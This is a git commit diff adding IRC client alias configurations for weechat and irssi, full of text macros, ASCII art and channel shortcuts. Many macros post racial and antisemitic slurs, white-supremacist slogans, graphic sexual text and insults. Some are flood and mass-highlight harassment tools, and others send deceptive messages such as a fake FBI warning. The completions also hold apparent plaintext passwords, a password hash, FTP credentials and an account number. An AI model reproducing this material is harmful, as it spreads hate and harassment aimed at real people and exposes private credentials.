commit 7de1b4ce38046c108327ac78a884f0c3a9b86a5d
Author: acidvegas <acid.vegas@acid.vegas>
Date:   Sat Jun 24 00:55:09 2023 -0400

    Initial commit

diff --git a/alias/acidvegas.conf b/alias/acidvegas.conf
new file mode 100644
index 0000000..d942593
--- /dev/null
+++ b/alias/acidvegas.conf
@@ -0,0 +1,103 @@
+# acidvegas alias.conf for weechat - https://git.acid.vegas/weechat
+#  bold |  color |  underline |  reset
+
+[cmd]
+# Art
+cig      = "say 8,7\;.`-,:.`\;08,08 15,0||||||||||||||||||||4,14▄▀8,01▄▀14-\;`,-\;`"
+cigtoss  = "me throws $1 an ice cold 8,7\;.`-,:.`\;08,08 15,0||||||||||||||||||||4,14▄▀8,01▄▀14-\;`,-\;`"
+derp     = "say 0,1    10,10  11,10 10,10  0,1  1,1 ; say 0,1   11,10______0,1  1,1 ; say 0,1  11,10|10,10 11,10|10,10 11,10|10,10 11,10|10,10 0,1 1,1 ; say 0,1 8,8 1,8__8,8   1,8__8,8 0,1 1,1 ; say 8,8   1,0o8,8   1,0.8,8   1,1 ; say 0,1 8,8   1,8<.8,8     1,1 ; say 0,1 8,8         0,1 1,1 ; say 0,1  8,8  0,1,'8,8   0,1  1,1 ; say 0,1   8,8    0,1    1,1.;"
+lovecock = "say 0,1                                                  ; say 0,1      5,7#######0,1                                     ; say 0,1   5,7#####0       0,1   hey guys im $1, let me tell  ; say 0,1  5,7#####0     5_1  5)0,1  you a little about myself...        ; say 0,1  5,7#####0     0100  1o0 0,1                                1 ; say 0,1  5,7###1@5# 0       1 0  0,1  i LOVE cock                   ; say 0,1  5,7#0   5# 0       1>0   0,1                               ; say 0,1  5,7#0        5\;\;\;\;\;\;\;\;0,1     i LOVE cock               ; say 0,1  0,7      0,1                                          ; say 0,1  0,7           0,1                              1 0      ; say 0,1  0,7          1 5...W.0,1    I ROMANTICIZE THE NOTION    ; say 0,1  0,7          1 5...0,1      OF HAVING COCKS AND BALLS   ; say 0,1 0,7           0,1          ON ME AT ALL TIMES OF MY    ; say 0,7     1 >0,1               LIFE.                       ; say 0,7      0,1;"
+pump     = "exec -o curl -s 'https://raw.githubusercontent.com/ircart/ircart/master/ircart/$0.txt'"
+umad     = "say 0,1<$1> umadyet?        0,7     0,1                                 ; say 0,1<$1> hemad         0,7  0,8   0,1 0,8 0,1  4hehe am ownin these fkn noobs; say 0,1<$1> umad          0,8        0,1                              ; say 0,1<$1> umad           0,8      0,1                               ; say 0,1<$1> umadyet?      0,5 0,8       0,1                    0,15   0,1       ; say 0,1<$1> nou           0,5 0,2         0,1                 0,11 0,15     0,1     ; say 0,1<$1> umad?         0,5 0,2     0,8       0,1              0,11 0,15      0,1    ; say 0,1<$1> umad          0,5 0,2      0,8              0,1      0,11 0,15       0,1   ; say 0,1<$1> cum @ me bra  0,5 0,2          0,8              0,1   0,15        0,1  ; say 0,1<$1> umad          0,5 0,2               0,1       0,8 0,1 0,8 0,1 0,5           ; say 0,1<$1> umadyet?      0,5 0,2               0,1       0,15    0,5 0,1         0,5 ; say 0,1<$1> umad          0,5 0,8                0,1      0,5     0,1         0,5 ; say 0,1<$1> somad         0,5 0,8                 0,1         0,5 0,1         0,5 ; say 0,1<$1> umadyet?      0,5 0,14                  0,1        0,5 0,1    0,15     0,5 ; say 0,1<$1> umad          0,5              0,1  0,14    0,1       0,5 0,1    0,15     0,5 ; say 0,1<$1> hes ragin     0,5 0,1            0,5 0,1  0,14    0,1      5 0,5 0,1    0,15     0,5 ; say 0,1<$1> umad          0,5 0,1            0,5 0,1  0,4  0,14  0,1      5 0,5 0,1    0,15     0,5 ; say 0,1<$1> umadyet?      0,5 0,1            0,5 0,1  0,4      0,1    5 0,5 0,1    0,15     0,5 ;"
+
+# Alerts
+chat_norm = "say 8,5▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄ ＮＯＲＭＡＬ ＣＨＡＴＳ 8,5▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄"
+chat_srs  = "say 8,5▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄ ＳＥＲＩＯＵＳ ＣＨＡＴＳ 8,5▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄"
+emergency = "say 8!1,8!8!0,4 IRC EMERGENCY 8!1,8!8!0,4 IRC EMERGENCY 8!1,8!8!0,4 IRC EMERGENCY 8!1,8!8!0,4 IRC EMERGENCY 8!1,8!8!0,4 IRC EMERGENCY 8!1,8!8!0,4 IRC EMERGENCY 8!1,8!8!0,4 IRC EMERGENCY 8!1,8!8!0,4 IRC EMERGENCY 8!1,8!8!0,4 IRC EMERGENCY 8!1,8!8!"
+flashbang = "cflood -fg 0 -bg 8 FLASHBANG"
+prison    = "say 04----------------------------------------------------------------------[IMPENETRABLE IRC PRISON WALL]-----------------------------------------------------------------------"
+terminate = "kick $1 08,04                    T E R M I N A T E D                    "
+warning   = "say 1,8/!\08,04 WARNING 1,8/!\ 04$*"
+
+# Chatters
+dm_ssh      = "say i did a video on hiding my ssh banner a while back"
+dzl_credit  = "say im with a credit union"
+dzl_26      = "say i dont troll because im 26"
+dzl_job     = "say i need a better job im too good at entry level shit"
+dzl_reality = "say nice perception of reality"
+tp_boom     = "say just wait till i get a supernets then enough http requests then boom"
+tp_dumb     = "say your suck a dumb fucking idiot..."
+
+# Faces
+shrug  = "say ¯\_(ツ)_/¯"
+shades = "say (⌐■_■)"
+srs    = "say (ಠ_ಠ)"
+
+# Random
+beer     = "me throws $1 an ice cold 0,0 0,2 BUD 1,0c =)"
+beer2    = "me throw $1 an ice cold 0,0 0,5 BUD 1,0c =)"
+blog     = "say Hi! It looks like you're blogging on IRC. Would you like to: 2[Add Comments] 2[e-Mail this to a Friend] 2[Digg This!] 6[Submit to Slashdot] 2[Add to del.icio.us] 5[Kill yourself because0⬉5 nobody cares]"
+chatrain = "say              ya                                                                                                                                                                                          nice; say                                             chillin                                                                                                                                                                                 u?; say                                                                                     nice                                                                            ty                                                              np; say                                              ok                                                                                                                nice                                                                 %%                                                                                                       true; say                                                                                      same"
+coffee   = "me hands $1 a 5,2""] of coffee! =)"
+cooldown = "say 1,8/!\8,4 WARNING 1,8/!\ 4This keyboard is currently on 12COOL DOWN4 until $1 can handle it."
+cooled   = "say [9ALERT] This keyboard is no longer on fire. Chats may proceed accordingly."
+doritos  = "say ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ Ah Mannn! I dropped my bag of Doritos!!!"
+en_gold  = "say You must have an EFNet 8,7GOLD account to view this message."
+fadeop   = "me 14<02Mode14> [-o $114] by $nick"
+fakick   = "me 14<05Kick14> $1 was kicked by $nick 14[$2-14]"
+fred     = "say 4()_ <- FRED DURST'S HAT LOL"
+gotem    = "say 1,0 GOT EM "
+hate     = "say 4  HATE     4  HATE     4  HATE  "
+mail     = "notice $channel You have unread messages from another user! Type /server mail read to read them."
+wave     = "cflood ▁▂▃▄▅▆▇█▇▆▅▄▃▂▁"
+weed     = "say 9DUUUUUUUUUUUUUUUUUUUUUUUUUUUUDE DUDE DUDE DUDE DUDE DUDE DUDE DUDE FUCKING WEEEEEEEEED AHAHAHAHAHAHAHA DUDE!!!!!!!!!! WEED!!!!!!!!!!!! *hits bong* FUCKING DUUUUUUDE that WEEED like just...................DUDE"
+
+# Text
+1stup      = "say YO BITCH IM THE 1ST UP IN THIS PIECE. RESPECT MY ABILITY TO BE UP EARLY AND CHAT BEFORE YOU COCK SUCKER!!!!!!!!!"
+chatmaster = "say YOUR CHAT MASTER WILL RETURN SHORTLY"
+dna        = "say i got your moms dna inserted into each of my sperms and everytime i fuck you your mom is somehow cumming inside you"
+dummies    = "me closes IRC For Dummies"
+extroverts = "say bruh i hate extroverts yall niggas never shut the fuck up"
+fbi        = "notice $channel The Federal Bureau of Investigation logged a record of your entry into this illegal chatroom along with your IP address due to potential violations of 18 U.S.C. º 1030. Your IP address is entered into our criminaldatabase as well as the Department of Homeland Security. If you are not associated with these claims we strongly advise you to type '/part'. Thank you."
+heartbeat  = "say $1: your heart will skip one (1) beat in -5 seconds; say do not read this message;"
+icmp       = "say how about i do a nice icmp ping 2 u, figure out where you are and what you are on, spawn your command.com to a port of my choice and log in with telnet and have a field day with you"
+ircjack    = "say remember when i turned your IRC to a CNAME grabbed a valid cert and had your old IRC server DDoS'd so you and everyone else reconnected with their clients with no warning to irc.supernets.org?"
+limp       = "say OR YOULL BE LEAVIN WITH A FAT LIP; say ITS ALL ABOUT THE HE SAYS SHE SAYS BULL SHIT.; say I THINK YOU BETTER QUIT TALKIN THAT SHIT PUNK; say SO COME ON AND GET IT.; say ITS JUST ONE OF THOSE DAYS"
+knuckz     = "say my knuckz: (C)(H)(A)(T)b d(L)(I)(F)(E)"
+linkin     = "say CRAWLING IN MY SKIN. THESE WOUNDS THEY WILL NOT HEAL. FEAR IS HOW I FALL. CONFUSING WHAT IS REAL."
+money      = "say u look like a fucking money irl"
+pasta      = "say yo bitch what kinda pasta you into, im all about barbine, bavette, bigoli, bucatini, busiate, capellini, fedellini, ferrazzuoli, fettuccine, fileja, linguine, lagane, lasagna, lasagnette, lasagnotte, maccheroni alla molinara. maccheroncini di campofilone mafalde, matriciani, pappardelle, perciatteli, picagge, pici, pillus, rustiche, sagne 'ncannulate, scialatelli, spaghetti, spagetthi alla chitarra, spaghettini, spaghettoni, stringozzi, su filindeu, tagliatelle, taglierini, trenette, tripoline, vermicelli, ziti, anelli, boccoli, calamarata, campanelle, cappeli da chef, casarecce, casacatelli, castellane, cavatappi, cavatelli, chifferi, cicioneddos, conchiglie, creste di galli, fagioloni, farfalle, fazzoletti, festoni, fiorentine, fiori, fusilli, fusilli bucati, garganelli, gemelli, gnocchi, lanterne, lorighittas, macaroni, maccheroncelli, mafaldine, malloreddus, mandala, marrile, mezzani, mezze maniche, mezze penne, mezzi, bombardoni, nuvole, paccheri, paϟϟatelli, pasta el ceppo, penne, penne ricce, picchiarelli, pipe rigate, pizzoccheri, quadrefiore, radiatory, ricciollini, ricciutelle, rigatoncini, rigatoni, rombi, rotelle, sagnette, sagneralli, sedani, spirali, strapponi, strozzaperti, testaroli, tortigiloni, treccioni, trenne, trofie, trottole, tuffoli, vesuvio, cencioni, corzetti, fainelle, fogile, d'ulivo, orecchiette, acini de pepe, alphabet pasta, anchellini, anelli, anellini, armonie, conchigliette, corquilettes, coralli, corallini, cuscuϟϟu, ditali, egg barley, fideos, filini, fregula, funghini, gianduietta, grano, gramigne, grattini, grattoni, margerthine, merletti, midolline, occhi di paϟϟero, orzo, pastina, piombi, ptitim, puntine, quadrettini, sorprese, stelle, stortini, tripolini, agnolini, agnolotti, caccavelle, canneloni, cappelletti, caramelle, casoncelli, casunziei, conchiglioni, culurgiones, fagottini, lumache, mezzelune, occhi di lupo, pansotti, ravioli, rotolo ripieno, sacchettoni, tortelli, tortelloni, tufoli, canederli, donderet"
+operscum   = "say I have like 50,000 shells/vhosts/bncs. Bans won't do a thing except fill your list. And 'get to where i am today' is a sad testament to your life apparently. On a side note, I used to op other chans that are far bigger than this chan. I didn't get ops by k/b'ing everyone in sight or anyone that carried a touch of annoyance to me. I reserved k/bs for spammers and flooders, that's it. Everyone else I /ignored"
+peep       = "say ight so boom, i told son chill ah ah ah, he like nah, this that and the 3rd, blazhee blah, so i ping ponged poofed ol boi shit then i peeped the boyz so"
+worms      = "say super models give me dome while i count stacks and play worms"
+your       = "say look its not hard, your isnt you're.. you're is YOU ARE. jesus. did you even make it out of 8th grade. can you even COUNT TO EIGHT, fuckin your an IDIOT.. and im sure right now your eaiting to CORRECT ME on using your in the wrong context now that i've TAUGHT YOU HOW TO USE IT OMG JESUS"
+
+# SuperNETs (Oper)
+botsay    = "msg BotServ SAY $channel"
+deprotect = "msg ChanServ MODE $channel LOCK DEL +eI ~a:$1 ~a:$1; mode $channel -eI ~a:$1 ~a:$1"
+protect   = "mode $channel +eI ~a:$1 ~a:$1; msg chanserv mode $channel lock add +eI ~a:$1 ~a:$1"
+sf        = "spamfilter add simple cpnN kill - "ENTER THE VOID" "$*"
+
+# SuperNETs
+sn_auto   = "say yeah you can go ahead and add irc.supernets.org to your clients auto-connect config now."
+sn_cont   = "masshl 04CAN WE CONTINUE THIS CONVERSATION AT IRC.SUPERNETS.ORG #SUPERBOWL FOR FUCKS SAKE"
+sn_dad    = "say this isnt your dads football channel"
+sn_move   = "masshl 1,8/!\08,04 WARNING 1,8/!\ 04This channel has moved to 12IRC.SUPERNETS.ORG #SUPERBOWL"
+sn_gold   = "say You must have a SuperNETs 8,7GOLD account to view this message."
+
+# Useful
+clear     = "buffer clear"
+close     = "buffer close"
+colors    = "say 1,00001,01011,02021,03031,04041,05051,06061,07071,08081,09091,10101,11111,12121,13131,14141,1515 ; say 1,16161,17171,18181,19191,20201,21211,22221,23231,24241,25251,26261,2727 ; say 1,28281,29291,30301,31311,32321,33331,34341,35351,36361,37371,38381,3939 ; say 1,40401,41411,42421,43431,44441,45451,46461,47471,48481,49491,50501,5151 ; say 1,52521,53531,54541,55551,56561,57571,58581,59591,60601,61611,62621,6363 ; say 1,64641,65651,66661,67671,68681,69691,70701,71711,72721,73731,74741,7575 ; say 1,76761,77771,78781,79791,80801,81811,82821,83831,84841,85851,86861,8787 ; say 1,88881,89891,90901,91911,92921,93931,94941,95951,96961,97971,98981,9999;"
+exempt    = "mode +eI *!*@*.acid.vegas *!*@*.acid.vegas"
+gh        = "say https://github.com/$*"
+msgbuf    = "command -buffer $1 * /input send $2-"
+nofakelag = "/set irc.server.$server.anti_flood_prio_high 0 ; /set irc.server.$server.anti_flood_prio_low 0"
+ns_ident  = "msg NickServ IDENTIFY ${sec.data.${server}}"
+redraw    = "color reset;window refresh"
+say       = "msg *"
+v         = "voice * -yes"
+wx        = "who * n%nc"
+
+[completion]
+msgbuf = "%(buffers_plugins_names)"
\ No newline at end of file
diff --git a/alias/arab.conf b/alias/arab.conf
new file mode 100644
index 0000000..09dc8b6
--- /dev/null
+++ b/alias/arab.conf
@@ -0,0 +1,1915 @@
+completions = {
+  wha = {
+    value = "why are you whoring for attention with your unfunny statements";
+  };
+  slf = { value = "selfish shellfish"; };
+  o6 = { value = "[؛ "; };
+  bk = { value = "Бытовой Компьютер"; };
+  pag = { value = "PASSIVE-AGRESSIVE"; };
+  uj1 = { value = "‌"; };
+  uj2 = { value = "‍"; };
+  lrm = { value = "‎"; };
+  rlm = { value = "‏"; };
+  b1 = { value = ""; };
+  b2 = { value = "\010"; };
+  ctcp = { value = "\001"; };
+  grid = { value = "\0034G.\0037R.\0038I.\0039D.\00312S. \00313\037/\\\037\003"; };
+  extin = { value = "WE MUSSEN DER J�DEN EXTINCTICH"; };
+  mp3 = { value = "\002mp3\002;"; };
+  nig1 = { value = "\002\0034,5o\0030,5:\0031,1.\003\002"; };
+  nig2 = {
+    value = "\002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\003\002";
+  };
+  wmel = {
+    value = "\002\0031,1#\0030,5:\0034,5)\003\002 \002\0031,1#\0030,5:\0034,5P\003\002 \002\0031,1#\0030,5:\0034,5D\003\002 \002\0039,3|\0031,4WATAMELONS!\0039,3|\003\002 \002\0034,5O\0030,5:\0031,1#\003\002 \002\0034,5.\0030,5:\0031,1#\003\002 \002\0034,5(\0030,5:\0031,1#\003\002";
+  };
+  "@_@" = {
+    value = "@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026";
+  };
+  ok = { value = "           \002\0030[  \0039OK  \0030]\003\002"; };
+  fail = { value = "       \002\0030[  \0034FAILED  \0030]\003\002"; };
+  oknujt = { value = "\002OK\002, \002N\002ow \002U\002 \002J\002us' \002T\002rollin'"; };
+  srs = { value = "(#'?`)R U SRS (??`#)(#'?`)U CANNOT B SRS(??`#)"; };
+  horse = {
+    value = "A full grown stallion's cock, when fully erect, will measure some two to three feet long. It can be three to six inches thick at the base, to about two inches thick at the head.";
+  };
+  ripper = { value = "~~~~~~shoa"; };
+  nanny = {
+    value = "The last link has been flagged by \037IRC NANNY\037 as \"\002Possibly Unsuitable\002\". Please find your parent(s) first and have them check the content before opening. \002[this channel protected by \037IrCNaNNY by SafeSoft v1.0b\037\002]";
+  };
+  rune1 = {
+    value = "υ я αℓℓ тяυℓєу ιи¢яє∂ιвℓє! ι нανє иєνα єνα мєт α gяσυρ σf ρρℓ qυιтє ℓук υ ℓσт! уєя ωє αяgυє уєя ωє ѕαу ωє н8 єα¢нυνα вυт υ נѕт gєт σи ωιт ιт и αρσℓσgιѕє и иєνα ℓєт и є fιиg ѕтαи∂ ιи ∂α ωαу σf υ fяιєи∂ѕ! ι α∂σяє єα¢н и єνєяу1 σf уα, zσf, ѕтєff, ¢ℓαυ∂ια, ѕαм zσє!";
+  };
+  rune2 = { value = "ι ℓσνє υ αℓℓ в.м.4.ℓχχχ"; };
+  rune3 = {
+    value = "ыбрать телефонНастроить телефонЗаказать детализированный отчет п";
+  };
+  rune4 = {
+    value = "◊̴̶̷̧̢̡̛̦̥̤̣̠̟̞̝̜̙̘̗̖̪̫̭̯̱̳̹̺̻̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏̐̑̒̓̔̿̾̽̚̕◊̴̶̷̧̢̡̛̦̥̤̣̠̟̞̝̜̙̘̗̖̪̫̭̯̱̳̹̺̻̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏̐̑̒̓̔̿̾̽̚̕◊̧̢̡̛̦̥̤̣̠̟̞̝̜̙̘̗̖̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏̐̑̒̓̚̕";
+  };
+  rune5 = {
+    value = "………DID………SOMEBODY………SAY………XTERM………";
+  };
+  loll = {
+    value = "\0038,13lol\00313,8lol\0038,13lol\00313,8lol\0038,13lol\00313,8lol\0038,13lol~\00313,8lol";
+  };
+  heb = { value = "\0031,1׀\003"; };
+  f1re = {
+    value = "nigga u say someting on irc, nigga u better be ready to die for that shit";
+  };
+  mword = {
+    value = "Microsoft Word 2007 (officially called 2007 Microsoft Office system) Enterprise Edition SP1";
+  };
+  permign = {
+    value = "I have put you on a permanent ignore, public and private. I have found you disturbing, rude and generally not worth talking to. According to the channels you hang on, it strengtens the effect of wanting to put you on ignore because of my lack of interest in you as a person. This message is not meant to be rude to you, just to inform you that i won't see anything of what you type from now on.";
+  };
+  14w = {
+    value = "We must secure the existence of our people and a future for white Children";
+  };
+  poltrol = {
+    value = "AUTOMATED MESSAGE FROM: The #politics triviabot! Trivia #12321 Did you know that the United States produces more pollution, weapons of mass destruction, and has the highest junktouch per capita of ANY nation on earth? Also sicilians are descended from niggers. For more fun trivia type !trigger da trivia nigger in #politics!";
+  };
+  arr1 = { value = "◄"; };
+  arr2 = { value = "►"; };
+  arr3 = { value = "▲"; };
+  arr4 = { value = "▼"; };
+  coin = { value = "c O i N c I d E n C e ! ? ! ? !"; };
+  true = { value = "√"; };
+  zit = { value = "shutup zitfarm"; };
+  heartiez = {
+    value = "say ♥ ♥ ♥ ♥ ♥ H ♥ E ♥ A ♥ R ♥ T ♥ I ♥ E ♥ Z ♥ ♥ ♥ ♥ L ♥ O ♥ L ♥ ♥ ♥ ♥ ♥";
+  };
+  emo = {
+    value = "why are you guys so mean to each other all the time.  it's obnoxious and i'm never coming here again.";
+  };
+  blog = {
+    value = "why are you blogging into the window of my irc client";
+  };
+  norse = { value = "ø"; };
+  bkk = { value = "\002b\002logging \002k\002ike"; };
+  coin2 = { value = "CoiNCIISANDCEDNNCE?"; };
+  blog2 = {
+    value = "stop blogging miles of unintelligible crap into #GNAA";
+  };
+  tag = {
+    value = "why are you turning the contents of the window of my irc client into a tag cloud";
+  };
+  hello = { value = "hello \002\037brother\017"; };
+  google = { value = "NOBODY READS YOUR BLOG EXCEPT GOOGLE"; };
+  read = { value = "i stopped reading at"; };
+  vista = {
+    value = "Microsoft Windows Vista Ultimate Limited Signed Numbered Edition";
+  };
+  care = { value = "\002HOLY KIKE I DON'T CARE"; };
+  care2 = { value = "\002HOLY KIKE I DO NOT CARE"; };
+  care3 = { value = "\002HOLY KIKE I DO NOT CARE AT ALL"; };
+  "``" = { value = "“"; };
+  "''" = { value = "”"; };
+  cst = { value = "hicnk tsotore"; };
+  gfy = { value = "go fuckoy ueflf"; };
+  sck = { value = "sutpid ckishn"; };
+  ".." = { value = "„"; };
+  "<<" = { value = "«"; };
+  ">>" = { value = "»"; };
+  ssri = { value = "selective serotnir reuptake inbhitor"; };
+  ex = { value = "ecstatsytsy"; };
+  js = { value = "javatscipti"; };
+  ii = { value = "iidonith"; };
+  ".._" = { value = "·_."; };
+  "..-" = { value = "._·"; };
+  oo_ = { value = "º_o "; };
+  "oo-" = { value = "o_º"; };
+  fga = { value = "fgato"; };
+  stfu2 = { value = "shtu tup the ufkc up"; };
+  hci = { value = "hcilean"; };
+  "..." = { value = "…"; };
+  ddos = { value = "ddos comin"; };
+  ddos2 = { value = "Thou Haseth a DDoS Coming Thy Way."; };
+  ddos3 = { value = "Ye Olde DDoS Coming Thoust Direction"; };
+  "`'" = { value = "‘"; };
+  yf = { value = "your face"; };
+  aspm = { value = "\037/!\\\037 irc.f1re.org #arab \037/!\\\037"; };
+  kla2 = { value = "let's make this a little bit more interesting"; };
+  insect = { value = "InSeCt Crew"; };
+  nimp = { value = "http://guidowned.com/xbox-softmod.rar"; };
+  live = {
+    value = "Windows Live Messenger Client Version 2009 Build 14.0.8050.1202";
+  };
+  mean = { value = "meannessousity"; };
+  you = { value = "give a fuck"; };
+  trrd = {
+    value = "-----------------------------------------------------------------------------------------------------------";
+  };
+  "`" = { value = "“"; };
+  "'" = { value = "”"; };
+  vxpftp = {
+    value = "ftp://anonymous:117f3e44674aa32b512524513940c837@v.xp.cx/";
+  };
+  insect2 = { value = "iNsEcT CrEw"; };
+  acid_pw = { value = "$2a$04$g34tUW5c0/l41Ve"; };
+  megasmile = { value = "◢◣_◢◣"; };
+  evil = { value = "◣_◢"; };
+  sad = { value = "◢_◣"; };
+  worms = {
+    value = "http://www.megaupload.com/?d=B4PAN4SG http://www.gameupdates.org/details.php?id=1221";
+  };
+  ircds = {
+    value = "irc.{nessun.name,pagga.us,nejad.ir,al-andal.us,ddosco.in,lorf.in,matthewgore.info,f1re.org,jews.org.il,jenk.in,arabs.ps,wnt2die.com}";
+  };
+  paggas_life = { value = "GB80LOYD77713042002768"; };
+  ae = { value = "æ"; };
+  ae2 = { value = "stætus"; };
+  zZz = {
+    value = "i don't want to write the rest of this sentence anymore";
+  };
+  raison = { value = "raison d'être"; };
+  "--" = {
+    value = "═══════════════════════";
+  };
+  "||" = { value = "↑"; };
+  vanek = { value = "vietnamesisches haengebauchschwein"; };
+  vanek2 = { value = "vietnamesisches pot-bellied pig"; };
+  admin = { value = "q%IZdY^rn2Od"; };
+  blog3 = {
+    value = "why do not you write a blog on my windows IRC client";
+  };
+  win7 = { value = "how egnable aero in win7"; };
+  hzu = { value = "GjpnrisNVdjrSM7u"; };
+  vik_hobby = {
+    value = "scat watersports giving and receiving deep throat sucking ball massage hardsports giving and receiving(very extreme trampling lick and suck your feet and toes) hot candle wax shock ice treatment whipping fingering and licking the ass cactus penetration strangling eating poiso";
+  };
+  exotica = {
+    value = " my blackberry i deleted jmirc by mistake is there a rycycling bin i can get it back";
+  };
+  av = {
+    value = "XP Antivirus,[2] Vitae Antivirus, Windows Antivirus, Win Antivirus, Antivirus Pro, Antivirus Pro 2009, Antivirus 2007, 2008, 2009, 2010, and 360, Internet Antivirus Plus, System Antivirus, Spyware Guard 2008 and 2009, Spyware Protect 2009, Winweb Security 2008, System Security, Malware Defender 2009, Ultimate Antivirus2008, Vista Antivirus, General Antivirus, AntiSpywareMaster, Antispyware 2008, XP AntiSpyware 2008, 2009 and 2010, Antivirus Vista 2010, WinPCDefender, Antivirus XP Pro, Anti-Virus-1, Antivirus Soft, Antispyware Soft, Antivirus System PRO, Antivirus Live, Vista Anti Malware 2010, Internet Security 2010, XP Antivirus Pro, Security Tool, VSCAN7, and Total Security";
+  };
+  never = { value = "(never going to happen)"; };
+  symptoms = {
+    value = "Amenorrhea, anti-inflammatory, bowels, bleeding, blood clots, blood pressure (lowers), blood purifier, blood vessels (tones), catarrh (acute, repertory), colds, chicken pox, circulation, contraceptive (unproven), cystitis, diabetes treatment, digestion (stimulates), dyspepsia, eczema, fevers, flu's, gastritis, glandular system, gum ailments, heartbeat (slow), influenza, insect repellant, internal bleeding, liver (stimulates and regulates), lungs (hemorrhage), measles, menses (suppressed), menorrhagia, menstruation (regulates, relieves pain), nipples (soreness), nosebleeds, piles (bleeding), smallpox, stomach sickness, toothache, thrombosis, ulcers, urinary antiseptic, uterus (tighten and contract), varicose veins, vision";
+  };
+  3 = { value = "lol3izer"; };
+  spic = { value = "MASTERDMIND"; };
+  hate = { value = "_HATE_ _HATE_ _HATE_"; };
+  t = { value = "tru"; };
+  vista2 = {
+    value = "Microsoft Windows 8 Developer Preview Visual Studio Edition";
+  };
+  disk = { value = "Microsoft Windows(R) Disk Management tool"; };
+  that = {
+    value = "that that is is that that is not is not is that it it is";
+  };
+  winfx = {
+    value = "Microsoft® WinFX™ Software Development Kit for Microsoft® Pre-Release Windows Operating System Code-Named \"Longhorn\", Beta 1 Web Setup";
+  };
+  lol3 = { value = "FAGGOT FUCKING TURTLE BITCH PUSSY AOE2"; };
+  mp = {
+    value = "de-von-Ausfern-schplenden-schlitter-crass-cren-bon-fried-digger-dingle-dangle-dongle-dungle-burstein-von-knacker-thrasher-apple-banger-horowitz-ticolensic-grander-knotty-spelltinkle-grandlich-grumblemeyer-spelter-wasser-kurstlich-himble-eisen-bahnwagen-guten-abend-bitte-ein-nürnburger-bratwürstel-gespurten-mitz-weimache-luber-hundsfut-gumberaber-schönendanker-kalbsfleisch-mittleraucher-von-Hautkopft of Ulm";
+  };
+  peace = { value = "(peacefully of course)"; };
+  scat = { value = "http://tinyurl.com/ao5eu5r"; };
+};
+
+aliases = {
+  # }}}
+  # {{{|- client shortcuts
+  sb = "scrollback";
+  sbc = "sb clear";
+  slo = "script load ~/.irssi/scripts/$*";
+
+  wk = "window close";
+  ws = "window new";
+  wn = "window new hide";
+  wim = "window item move $*";
+
+  # }}}
+  # {{{|- IRC commands
+  j = "join";
+  t = "topic";
+  wi = "whois $0 $0";
+  ww = "whowas";
+  um = "mode $N";
+
+  k = "kick";
+  b = "ban";
+  ub = "unban";
+  kb = "kickban";
+  kn = "knockout";
+
+  lock = "mode $C +ilkm 1 lolol";
+  unlock = "mode $C -milk";
+
+  q = "query";
+  m = "msg";
+  amsg = "foreach window $* [amsg]";
+  chat = "dcc chat";
+  blog = "msg";
+  # }}}
+  # {{{|- services
+  cs = "quote ChanServ $* ";
+  ns = "quote NickServ $*";
+  ms = "quote MemoServ $*";
+  hs = "quote HostServ $*";
+  os = "quote OperServ $*";
+  # }}} 
+  # {{{|- .irssi/{scrollz,crapflood}
+  tcat = "exec - cat $HOME/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
+
+  tscroll = "flood $HOME/.irssi/scrollz/$*";
+  tcrap = "exec - -out cat $HOME/.irssi/crapflood/$* 2>/dev/null \\; sleep 42";
+
+  tansi = "tscroll ansi/$*";
+  tascii = "tscroll ascii/$*";
+  tbird = "tscroll birds/$*";
+  tart = "tscroll ircart/$*";
+  tp0r = "tscroll p0r/$*";
+  tsong = "tscroll songs/$*";
+  tstory = "tscroll stories/$*";
+  tposter = "tscroll poster/$*";
+
+  tx1 = "tscroll xxsart/$*";
+  tx2 = "tscroll xscii/$*";
